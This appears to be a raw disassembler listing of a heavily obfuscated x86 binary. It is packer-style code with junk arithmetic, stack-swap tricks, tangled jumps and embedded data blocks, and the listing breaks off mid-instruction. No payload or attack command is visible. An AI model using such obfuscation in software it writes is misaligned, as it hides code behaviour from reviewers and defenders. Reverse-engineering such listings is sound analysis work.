--------------------------------------------------------------------------- dd 0C6C30000h, 6858C300h, 0D1885B41h, 99E6815Eh, 81C00870h dd 0C1722CEEh, 11DEE9BAh, 68000000h, 475FF8h, 11B8E9h dd 0A5850F00h, 0E8000013h, 0FFFFF8A8h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4738E9 loc_473FBA: ; CODE XREF: sub_4738E9+Fj push 2E5F3F3Eh pop esi and esi, 6D9C9F42h add esi, 0D42B30C4h jmp loc_474EAB ; END OF FUNCTION CHUNK FOR sub_4738E9 ; --------------------------------------------------------------------------- align 2 push (offset loc_474C48+1) jmp loc_475DAE ; --------------------------------------------------------------------------- dd 0F8F28100h, 0E93994F4h, 3F0h db 0 ; --------------------------------------------------------------------------- locret_473FE9: ; CODE XREF: isk1wxzg:00475E10j retn ; --------------------------------------------------------------------------- dw 0E900h dd 57Eh db 2 dup(0) word_473FF2 dw 8B53h ; DATA XREF: isk1wxzg:00475E0Bo dd 241C87D8h, 47609468h, 0FCD2E900h, 0FFFFh, 5E243487h dd 75E8EC8Bh, 0FFFFFBh db 0 ; --------------------------------------------------------------------------- loc_474011: ; DATA XREF: isk1wxzg:004734FAo push offset loc_474729 jmp loc_47555D ; =============== S U B R O U T I N E ======================================= sub_47401B proc near ; CODE XREF: sub_475DC9:loc_475AF5p ; FUNCTION CHUNK AT 00474A78 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00475486 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00475A9E SIZE 00000010 BYTES xchg ebx, [esp+0] xchg ecx, [esp+0] mov ebx, ecx pop ecx jmp loc_474A78 sub_47401B endp ; sp-analysis failed ; --------------------------------------------------------------------------- push dword ptr [ebp+10h] push offset loc_474DCE jmp locret_474D08 ; --------------------------------------------------------------------------- align 4 locret_474038: ; CODE XREF: isk1wxzg:loc_474A5Cj retn ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_474FD4 loc_47403A: ; CODE XREF: sub_474FD4+174j jmp nullsub_384 ; END OF FUNCTION CHUNK FOR sub_474FD4 ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_287. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 0C3h db 0 ; --------------------------------------------------------------------------- loc_474045: ; CODE XREF: isk1wxzg:00474493j jmp loc_474DDE ; --------------------------------------------------------------------------- dw 0C300h ; CODE XREF: isk1wxzg:loc_474B07j db 2 dup(0) ; --------------------------------------------------------------------------- loc_47404E: ; CODE XREF: isk1wxzg:004747CCj xchg edi, [esp] push 15A5FEEFh xchg ebx, [esp] mov ecx, ebx pop ebx jmp loc_473E1E ; --------------------------------------------------------------------------- byte_474061 db 0C6h, 0, 87h ; DATA XREF: isk1wxzg:loc_4757FCo dd 0F7AE858h, 8B000000h, 0FFA9E9D9h, 0FFFFh, 590301C6h dd 47554B68h, 0F8BBE900h, 0FFFFh, 5E8706C6h, 83242C87h dd 0E85704C0h, 1A3h, 5B241C87h, 0E3C6C081h, 568CA12h, 0E900475Ah dd 6D5h, 46D58100h, 8751A989h, 95F243Ch, 0EF840FD2h, 0E900001Dh dd 12A7h, 0C870000h, 0B8505924h, 4736AEh, 0A75E9h, 87000000h dd 0EC8B2434h, 474BA068h, 613E900h, 8B0000h, 52241487h dd 5C685A59h, 0E9004754h, 547h db 0 byte_4740F5 db 50h, 8Bh, 0C6h ; DATA XREF: sub_47368D+B37o dd 8B240487h, 243487F5h, 371E8h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474419 loc_474106: ; CODE XREF: sub_474419-8B0j jmp loc_474F41 ; END OF FUNCTION CHUNK FOR sub_474419 ; --------------------------------------------------------------------------- push esi push 0C21D1C59h pop esi sub esi, 7592C54Dh push offset loc_474354 jmp loc_475D3A ; --------------------------------------------------------------------------- dw 8100h ; --------------------------------------------------------------------------- fimul dword ptr [ebp+38h] jnb short $+2 jmp sub_473D4D ; --------------------------------------------------------------------------- dw 0C581h dd 31739D19h, 9902C7C1h, 0FFFCAEE9h, 550000FFh, 0FFF52CE9h dd 0F88700FFh, 0C26BFB81h, 1DE94326h, 0C3000003h db 0 ; --------------------------------------------------------------------------- loc_474155: ; CODE XREF: sub_47371D:loc_473773p ; isk1wxzg:00475882j xchg edx, [esp] xchg ebp, [esp] mov edx, ebp pop ebp call sub_475026 loc_474163: ; CODE XREF: isk1wxzg:00475115j pop ebx xchg ebx, [esp] push esi call sub_47589A add cl, ch fadd qword ptr [eax+eax] add [edi], cl sbb byte ptr [edx+edi*8-2CD40001h], 3 ; --------------------------------------------------------------------------- db 0D0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4734CE loc_47417D: ; CODE XREF: sub_4734CE:loc_4741DCj push offset byte_47541B jmp nullsub_390 ; END OF FUNCTION CHUNK FOR sub_4734CE ; --------------------------------------------------------------------------- align 4 dd 0C300h, 19DCE9h, 2DE90000h, 0Ah, 8B243487h, 18E95ECEh ; CODE XREF: sub_4749D8+BD3j db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473CB1 loc_4741A3: ; CODE XREF: sub_473CB1:loc_4755FEj and ebx, 5B33BFC6h call sub_47368D add byte ptr ds:loc_475CAE[edx], bh ; CODE XREF: isk1wxzg:00474649j jmp loc_4754E0 ; END OF FUNCTION CHUNK FOR sub_473CB1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47368D loc_4741BB: ; CODE XREF: sub_47368D:loc_47443Dj mov byte ptr [ebx], 3 xchg edx, [esp-4+arg_0] mov ebx, edx pop edx push offset byte_4740F5 jmp nullsub_286 ; END OF FUNCTION CHUNK FOR sub_47368D ; =============== S U B R O U T I N E ======================================= sub_4741CE proc near ; DATA XREF: sub_4744DB:loc_4746ADo var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00474396 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0047474A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0047496D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004759EA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00475A5A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00475AE4 SIZE 00000005 BYTES push edi mov edi, ebp xchg edi, [esp+4+var_4] push ebp jmp loc_47496D sub_4741CE endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_4741DA: ; CODE XREF: isk1wxzg:00475460j retn ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_4734CE loc_4741DC: ; CODE XREF: sub_4734CE+1101j jz loc_47417D ; END OF FUNCTION CHUNK FOR sub_4734CE ; --------------------------------------------------------------------------- dw 0 dd 1B088C0Fh, 84E90000h, 0FFFFFFh, 29E9C83Bh, 0Eh db 0 byte_4741F9 db 0E8h, 0AAh, 0F9h ; DATA XREF: isk1wxzg:loc_4752A9o dd 0E900FFFFh, 14Dh ; CODE XREF: isk1wxzg:004753DDj db 2 dup(0) ; --------------------------------------------------------------------------- locret_474206: ; CODE XREF: isk1wxzg:loc_47555Dj retn ; --------------------------------------------------------------------------- jmp loc_474447 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_47420E proc near ; CODE XREF: sub_475CB7:loc_475232p ; isk1wxzg:00475A6Cj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00473BD1 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00474DD9 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx pushf push 0C30BDEDBh jmp loc_474DD9 sub_47420E endp ; --------------------------------------------------------------------------- locret_47421D: ; CODE XREF: isk1wxzg:004750DBj retn ; --------------------------------------------------------------------------- db 0 byte_47421F db 0C6h ; DATA XREF: sub_474DF6:loc_474B2Do dd 815E0306h, 0C81F9AC0h db 31h db 3, 0C5h, 81h ; DATA XREF: sub_474DF6+121Eo dd 0BC38DEC0h, 0A0BE8E3h, 87000000h, 685B241Ch, 0EA7047C4h dd 8B240487h, 0CF8158F8h, 1150DDDBh, 0FFF606E9h, 0C3FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47580E loc_474254: ; CODE XREF: sub_47580E+Fj jmp loc_475443 ; END OF FUNCTION CHUNK FOR sub_47580E ; --------------------------------------------------------------------------- push 9825525h pop ecx rol ecx, 0Dh or ecx, 6F5D85C7h xor ecx, 0ED6C5002h jmp loc_474744 ; --------------------------------------------------------------------------- align 4 dd 242C8700h, 1982E8h db 3 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_390. PRESS KEYPAD "+" TO EXPAND] db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_383. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_474282: ; CODE XREF: isk1wxzg:00474B27j jmp locret_475483 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_474997 loc_474288: ; CODE XREF: sub_474997+10j jmp loc_4750F7 ; END OF FUNCTION CHUNK FOR sub_474997 ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; CODE XREF: isk1wxzg:004754B4p ; --------------------------------------------------------------------------- adc al, 24h xchg edi, [esp] mov edx, edi pop edi add esi, 50736D53h jmp loc_47536C ; --------------------------------------------------------------------------- align 4 dd 0E9CB3B00h, 0FFFFF73Ah, 0A7E80000h, 8, 0E9EF3300h, 1796h dd 243C8751h, 8B241487h, 0A5685AFAh, 58A3530Fh, 0E911C0C1h dd 0FFFFFA63h db 0 ; --------------------------------------------------------------------------- loc_4742D5: ; CODE XREF: isk1wxzg:004737BDj call sub_475199 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- push 0F7BA6A95h xchg esi, [esp] mov ecx, esi pop esi xor ecx, 4AD157F3h add ecx, 0D000873Fh jmp loc_475FD2 ; --------------------------------------------------------------------------- dd 71B37D68h, 1E99D2Ah, 0FFFFFDh, 7668992Ch, 0E900473Ah dd 461h db 2 dup(0) ; --------------------------------------------------------------------------- locret_474312: ; CODE XREF: isk1wxzg:loc_473CACj retn ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_474315: ; CODE XREF: isk1wxzg:004737D2j jmp loc_474484 ; --------------------------------------------------------------------------- pop ecx rol ecx, 12h sub ecx, 893CCCABh and ecx, 0A9303C6Fh xor ecx, 61F687CAh add ecx, 9650C95Bh jmp loc_474634 ; --------------------------------------------------------------------------- align 4 push offset loc_475670 jmp locret_475668 ; --------------------------------------------------------------------------- dw 0C600h ; CODE XREF: isk1wxzg:loc_4753A7j dd 0E85A0902h, 1702h, 0C300h ; --------------------------------------------------------------------------- loc_474354: ; DATA XREF: isk1wxzg:00474118o xor esi, 0EECE55AFh push offset loc_474641 jmp loc_476007 ; --------------------------------------------------------------------------- db 0 byte_474365 db 57h, 68h, 0C2h ; DATA XREF: isk1wxzg:loc_474BFBo db 37h, 47h ; --------------------------------------------------------------------------- loc_47436A: ; CODE XREF: isk1wxzg:0047436Cj add cl, ch jnp short loc_47436A ; --------------------------------------------------------------------------- dw 0FFFFh ; =============== S U B R O U T I N E ======================================= sub_474370 proc near ; CODE XREF: isk1wxzg:00474A97p ; isk1wxzg:00475ACEj xchg ebx, [esp+0] pop ebx push offset sub_473C4E jmp nullsub_398 sub_474370 endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_47437F: ; CODE XREF: isk1wxzg:loc_474BA9j or edi, 8E557A50h sub edi, 1610DEB0h add edi, 4662B43Ch jmp loc_4743A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4741CE loc_474396: ; CODE XREF: sub_4741CE+1892j jz loc_475AE4 jmp near ptr dword_473944+1Ch ; END OF FUNCTION CHUNK FOR sub_4741CE ; --------------------------------------------------------------------------- db 2 dup(0), 0E8h dd 0BF0h db 0 ; --------------------------------------------------------------------------- loc_4743A9: ; CODE XREF: isk1wxzg:00474391j jmp loc_474FF5 ; --------------------------------------------------------------------------- dw 8B00h ; --------------------------------------------------------------------------- cmc jmp loc_475128 ; --------------------------------------------------------------------------- dw 0C100h dd 31E902C8h, 13h ; --------------------------------------------------------------------------- loc_4743C0: ; CODE XREF: isk1wxzg:loc_475FD7j push 3813F507h pop ebx sub ebx, 1725E7BDh and ebx, 0B5FAA3D3h jmp loc_475D12 ; --------------------------------------------------------------------------- align 4 db 87h ; ‡ db 3Ch ; < db 24h ; $ db 87h ; ‡ db 2Ch ; , db 24h ; $ db 8Bh ; ‹ db 0FDh ; ý db 5Dh ; ] db 68h ; h db 0A5h ; ¥ db 5Bh ; [ db 91h ; ‘ db 0FFh db 5Eh ; ^ db 81h ; db 0C6h ; Æ db 8 db 4Eh ; N db 9Eh ; ž db 0C7h ; Ç db 81h ; db 0F6h ; ö db 4Ah ; J db 0BDh ; ½ db 0D1h ; Ñ db 4Eh ; N db 0E9h ; é db 7Ah ; z db 7 db 0 db 0 ; --------------------------------------------------------------------------- xchg eax, ecx cmp al, 24h push ebp mov ebp, ebx xchg ebp, [esp] push offset loc_474606 jmp loc_474A5C ; --------------------------------------------------------------------------- align 4 test edx, 72228BF1h jmp loc_473EDF ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= sub_474419 proc near ; CODE XREF: sub_474957+6C2p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00473B4D SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00474106 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00474F41 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00474F6C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004754C5 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push 350AAFECh xchg eax, [esp+0] mov edx, eax pop eax jmp loc_4754C5 sub_474419 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 xchg edi, [ebx] push offset byte_4751EB jmp locret_4751E8 ; --------------------------------------------------------------------------- dw 0C300h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47368D loc_47443D: ; CODE XREF: sub_47368D+Aj jmp loc_4741BB ; END OF FUNCTION CHUNK FOR sub_47368D ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_474443: ; CODE XREF: isk1wxzg:loc_476007j retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_474445: ; CODE XREF: isk1wxzg:00473E39j retn ; --------------------------------------------------------------------------- locret_474446: ; CODE XREF: isk1wxzg:00475CD6j retn ; --------------------------------------------------------------------------- loc_474447: ; CODE XREF: isk1wxzg:00474207j push 34F7131Fh pop eax xor eax, 0FD824619h rol eax, 18h push edi push 1C841B7Dh pop edi sub edi, 569FA90Ah jmp loc_474BA9 ; --------------------------------------------------------------------------- dd 0E99C0000h, 1398h, 963850Fh, 3C870000h, 0EC8B5F24h dd 92E95153h, 0Ch ; --------------------------------------------------------------------------- loc_474484: ; CODE XREF: isk1wxzg:loc_474315j xor edi, 670DDF5h rol edi, 16h test edi, 400000h jmp loc_474045 ; --------------------------------------------------------------------------- dd 4D186800h, 9EE90047h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4744A3: ; CODE XREF: isk1wxzg:00473EDAj mov byte ptr [edx], 0FFh pop edx or edx, 121F25EBh xor edx, 0CEC15188h jmp loc_474D0B ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_4744BA: ; CODE XREF: isk1wxzg:00474AE7j retn ; --------------------------------------------------------------------------- align 4 db 0 byte_4744BD db 9Ch, 0E8h, 15h ; DATA XREF: sub_475B43:loc_473B34o dd 0FFFFFFh, 21BF5700h, 0E900475Ch, 0FFFFF6D1h, 4749C468h ; CODE XREF: sub_4757B6+4j dd 1386E900h db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4744DB proc near ; CODE XREF: sub_475DC9:loc_47476Bp ; FUNCTION CHUNK AT 00473A8C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0047469F SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00474A1A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00474BE6 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00474D2B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004754BA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004754DA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00475B3D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00475B59 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00475E41 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00475EAA SIZE 00000011 BYTES xchg ebx, [esp+0] pop ebx or edx, edx jz loc_475EAA jmp loc_4754BF sub_4744DB endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 15C3C100h, 0D35AF381h, 890F0F40h, 711h, 0AE0A9ABBh dd 0FFE95A52h, 0C3000006h, 800F0000h, 0FFFFFAAAh, 5A241487h dd 0F58E953h, 0C1000000h, 34E90BC2h, 4 ; =============== S U B R O U T I N E ======================================= sub_474524 proc near ; DATA XREF: sub_4744DB:loc_475E51o ; FUNCTION CHUNK AT 004735CB SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00475FDE SIZE 00000005 BYTES push ebx mov ebx, offset loc_4735DB jmp loc_4735CB sub_474524 endp ; --------------------------------------------------------------------------- align 10h dd 768A0F00h, 87FFFFFAh, 3487240Ch, 0E9CE8B24h, 0BCCh dd 0EA850000h, 169BE9h, 0F08B5600h, 52243487h, 0FFF3EBE9h dd 870000FFh, 0DE8B2434h, 9A6E85Eh, 0 ; --------------------------------------------------------------------------- loc_474568: ; CODE XREF: isk1wxzg:004750F0j jmp locret_474844 ; --------------------------------------------------------------------------- align 2 retn ; --------------------------------------------------------------------------- align 10h dd 165CE900h, 0 ; --------------------------------------------------------------------------- loc_474578: ; CODE XREF: isk1wxzg:00474C81j pop ebx xchg esi, [esp] call sub_4752B4 ; START OF FUNCTION CHUNK FOR sub_47589A loc_474581: ; CODE XREF: sub_47589A+Dj and esi, 16899507h xor esi, 0A6195E23h setalc cmc add esi, 5B6E25D7h mov [esi], eax call sub_475CEC add cl, ch inc eax add [eax], eax ; END OF FUNCTION CHUNK FOR sub_47589A ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4751B1 loc_4745A3: ; CODE XREF: sub_4751B1+Fj jmp nullsub_393 ; END OF FUNCTION CHUNK FOR sub_4751B1 ; --------------------------------------------------------------------------- dd 8DE90000h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4745AF: ; CODE XREF: isk1wxzg:00473ACBj jmp locret_473975 ; --------------------------------------------------------------------------- xor ecx, 0EFCCCCB8h jmp loc_47515A ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_4734CE loc_4745C0: ; CODE XREF: sub_4734CE+29C1j or ecx, 0E3CB4682h rol ecx, 5 test ecx, 10000h jmp loc_4741DC ; END OF FUNCTION CHUNK FOR sub_4734CE ; --------------------------------------------------------------------------- dd 0D8810000h, 830FE826h, 0FFFCC4E9h, 2CE99DFFh, 0FFFFF5h ; --------------------------------------------------------------------------- loc_4745E8: ; CODE XREF: isk1wxzg:0047381Aj or ebp, ebx xchg esi, [esp] pop esi or edx, edx pop ebp test [eax+ebx-16B00000h], ch or edi, esp ; --------------------------------------------------------------------------- dw 0FFFFh dd 0E9088700h, 9CAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_474606: ; DATA XREF: isk1wxzg:00474401o push 4736D3h jmp loc_474B07 ; --------------------------------------------------------------------------- dd 0C870000h, 0C1815924h, 90A0005h, 0A2E9C103h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473E7B loc_474623: ; CODE XREF: sub_473E7B:loc_4746DCj mov ebx, ecx xchg ebx, [esp+0] mov ecx, offset loc_475E9C jmp loc_475B97 ; END OF FUNCTION CHUNK FOR sub_473E7B ; --------------------------------------------------------------------------- align 4 loc_474634: ; CODE XREF: isk1wxzg:00474336j call sub_474957 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0E1Bh db 0 ; --------------------------------------------------------------------------- loc_474641: ; DATA XREF: isk1wxzg:0047435Ao add esi, ebp push ebp mov ebp, edx loc_474646: ; CODE XREF: isk1wxzg:0047515Ej xchg ebp, [esp] jmp near ptr loc_4741AE+1 ; --------------------------------------------------------------------------- dw 0C300h dd 17E90000h, 0FFFFF2h, 0AEE92987h, 0FFFFF7h, 258F0F00h ; CODE XREF: isk1wxzg:00475D49j dd 87FFFFF7h, 0C65F243Ch, 4870302h, 173E924h, 8F0F0000h dd 0FFFFFBC4h, 0BCE9CE3Bh, 58FFFFEEh, 1478E9h, 4D685200h dd 5A947478h, 680BC2C1h, 4747F0h, 660E9h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4744DB loc_47469F: ; CODE XREF: sub_4744DB+544j jo loc_475FC1 mov [esi], ebp jp loc_475B3D loc_4746AD: ; CODE XREF: sub_4744DB:loc_475B59j push offset sub_4741CE jmp nullsub_387 ; END OF FUNCTION CHUNK FOR sub_4744DB ; --------------------------------------------------------------------------- align 4 dd 478A6800h, 0F7E90047h, 0FFFFF6h db 0 ; --------------------------------------------------------------------------- locret_4746C5: ; CODE XREF: isk1wxzg:loc_475D3Aj retn ; --------------------------------------------------------------------------- dw 5700h ; --------------------------------------------------------------------------- push 38BD1064h pop edi rol edi, 4 jmp loc_4753E4 ; --------------------------------------------------------------------------- dw 0E800h dd 0FFFFEE69h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473E7B loc_4746DC: ; CODE XREF: sub_473E7B+Aj jmp loc_474623 ; END OF FUNCTION CHUNK FOR sub_473E7B ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- or edx, 0D42435A2h add edx, 3E15AAAh jmp loc_4753A7 ; --------------------------------------------------------------------------- align 4 db 0, 0C3h ; --------------------------------------------------------------------------- loc_4746F6: ; CODE XREF: isk1wxzg:0047382Dj jmp locret_474B8B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_475BF0 loc_4746FB: ; CODE XREF: sub_475BF0:loc_475B67j mov byte ptr [eax], 9Dh pop eax call sub_4734CE ; END OF FUNCTION CHUNK FOR sub_475BF0 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_474BAE loc_474705: ; CODE XREF: sub_474BAE+1102j jmp loc_473D1E ; END OF FUNCTION CHUNK FOR sub_474BAE ; --------------------------------------------------------------------------- xchg ebx, [esp] xchg esi, [esp] mov ebx, esi pop esi add eax, 864A0130h jmp loc_474758 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_394. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_475199 loc_474722: ; CODE XREF: sub_475199+13j jmp nullsub_381 ; END OF FUNCTION CHUNK FOR sub_475199 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_474729: ; DATA XREF: isk1wxzg:loc_474011o push 0BCAF3FD3h pop esi sub esi, 1F4A183Ch add esi, 62E227C5h mov esi, [esi] jmp loc_475669 ; --------------------------------------------------------------------------- align 4 loc_474744: ; CODE XREF: isk1wxzg:0047426Ej js near ptr dword_473F28+12h ; START OF FUNCTION CHUNK FOR sub_4741CE loc_47474A: ; CODE XREF: sub_4741CE+7A9j jmp loc_4759EA ; END OF FUNCTION CHUNK FOR sub_4741CE ; --------------------------------------------------------------------------- align 10h dd 0E9298900h, 0FFFFF7DCh ; --------------------------------------------------------------------------- loc_474758: ; CODE XREF: isk1wxzg:00474719j push eax push eax push 0E3CD8D02h pop eax and eax, 0F54A17B1h jmp near ptr byte_4734C1+2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_475DC9 loc_47476B: ; CODE XREF: sub_475DC9:loc_475D5Aj call sub_4744DB add cl, ch ; END OF FUNCTION CHUNK FOR sub_475DC9 ; --------------------------------------------------------------------------- dw 0ED8Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_475CEC loc_474776: ; CODE XREF: sub_475CEC:loc_4755CFj call sub_47537E ; END OF FUNCTION CHUNK FOR sub_475CEC ; --------------------------------------------------------------------------- db 0 dd 0A0E9C300h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_473CB1 loc_474783: ; CODE XREF: sub_473CB1+F19j jmp loc_475F90 ; END OF FUNCTION CHUNK FOR sub_473CB1 ; --------------------------------------------------------------------------- dd 0B09D0000h, 8FE9240Ch, 0FFFFEEh, 5CCC6851h, 91E90047h dd 6800000Eh, 474084h, 0FFF34AE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4747AB: ; CODE XREF: isk1wxzg:loc_473CE9j mov ecx, eax pop eax xor ecx, 0E36EAE73h add ecx, 163C41C8h sub ecx, 7086BAA6h call sub_473E7B loc_4747C5: ; CODE XREF: isk1wxzg:00475832j mov byte ptr [esi], 87h pop esi push edi mov edi, ecx jmp loc_47404E ; --------------------------------------------------------------------------- align 2 pushf jmp sub_4752B4 ; --------------------------------------------------------------------------- dd 8C0F0000h, 0FFFFF37Ah, 10A4E9h db 3 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_380. PRESS KEYPAD "+" TO EXPAND] dd 0F339E900h, 0FFFFh, 6CA7F281h, 0C203A3C2h, 2404875Ah dd 770E9h, 1FCFC100h, 0E915E7C1h, 34Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_47480E: ; CODE XREF: isk1wxzg:0047390Aj rol eax, 19h or eax, 368FC3ECh and eax, 3B9FB983h xor eax, 0A4C2E1h jmp loc_473F79 ; --------------------------------------------------------------------------- dd 0F870000h, 8D850368h, 0F645E92Eh, 0C300FFFFh ; CODE XREF: isk1wxzg:00474B6Dj dword_474838 dd 5263C081h, 13E81EFFh, 0Fh ; DATA XREF: isk1wxzg:004734C4o ; --------------------------------------------------------------------------- locret_474844: ; CODE XREF: isk1wxzg:loc_474568j retn ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_473E7B loc_474846: ; CODE XREF: sub_473E7B+1D2Fj jmp loc_474A7F ; END OF FUNCTION CHUNK FOR sub_473E7B ; --------------------------------------------------------------------------- align 4 dword_47484C dd 0FFF843E8h ; DATA XREF: sub_475633+22o ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_473C4E loc_474852: ; CODE XREF: sub_473C4E+Cj jmp loc_473E40 ; END OF FUNCTION CHUNK FOR sub_473C4E ; --------------------------------------------------------------------------- align 4 dd 83BB5300h, 0E900474Dh, 0D85h db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_391. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_474867: ; CODE XREF: isk1wxzg:00474C61j xchg esi, [esp] pop esi pop ebx push 4740E2h jmp locret_473CE8 ; --------------------------------------------------------------------------- rol esi, 6 xor esi, 7052A2B1h and esi, 0CCD7261h add esi, 0FF7E03F8h jmp loc_4753D8 ; --------------------------------------------------------------------------- dd 7A685100h, 5976DB07h, 897CF181h, 0E98112AFh, 5B91B11Bh dd 0B5BC181h, 0F1818C4Bh, 6DA33AD1h, 7BE0C181h, 0B9E907B8h dd 0FFFFF7h, 0C300h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4757B6 loc_4748C0: ; CODE XREF: sub_4757B6+10j jmp loc_4749D0 ; END OF FUNCTION CHUNK FOR sub_4757B6 ; --------------------------------------------------------------------------- db 0E9h, 10h, 0F2h dd 0FFFFh, 5F243C87h, 24048759h, 0FFFD11E8h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_475CB7 loc_4748DB: ; CODE XREF: sub_475CB7+Fj jmp loc_475232 ; END OF FUNCTION CHUNK FOR sub_475CB7 ; --------------------------------------------------------------------------- dd 3E840F00h, 0E900000Ch, 0FFFFEF72h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_381. PRESS KEYPAD "+" TO EXPAND] align 10h loc_4748F0: ; DATA XREF: sub_475199+Eo push edi mov edi, ebx xchg edi, [esp] pushf push 0FD6B9B2Dh pop ebx sub ebx, 303B89C7h jmp loc_474B68 ; --------------------------------------------------------------------------- dd 1C870000h, 68515B24h, 0FE0161CDh, 1EC98159h, 812C458Dh dd 45EDDBF1h, 0FC4BE9FEh, 0FFFFh ; --------------------------------------------------------------------------- loc_474928: ; CODE XREF: isk1wxzg:004739BBj xchg esi, [esp] pop esi push 65CA539Fh pop ecx sub ecx, 139202F3h rol ecx, 1 jmp loc_475F33 ; --------------------------------------------------------------------------- align 10h dd 0C015FF00h, 570044F0h, 3C87F88Bh, 60D56824h, 4E99EECh ; CODE XREF: sub_4755D4:loc_474E80j db 15h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_474957 proc near ; CODE XREF: isk1wxzg:loc_474634p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00475015 SIZE 00000009 BYTES xchg edi, [esp+0] xchg ecx, [esp+0] mov edi, 